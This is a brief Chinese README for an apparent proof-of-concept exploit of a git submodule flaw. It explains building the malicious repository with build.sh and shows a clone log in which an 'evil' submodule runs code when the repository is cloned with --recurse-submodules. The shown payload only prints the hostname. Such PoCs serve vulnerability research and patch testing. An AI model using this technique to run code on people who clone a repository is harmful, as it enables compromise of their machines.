GitHub 不允许我推送利用此漏洞的仓库(这对他们来说是好的),因此你需要通过运行 build.sh 脚本来自行构建。
然后,将仓库推送到某处。当你使用 --recurse-submodules 标志克隆它时,evil 脚本 将被执行:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
代码源自 @peff 的 git 补丁(请查看 t/t7415-submodule-names.sh 测试文件)。
因此,本仓库以 GNU 通用公共许可证版本 2 发布。
针对旧版本 git 的额外修复由 @atorralba 提供 (详细信息请见这篇文章)。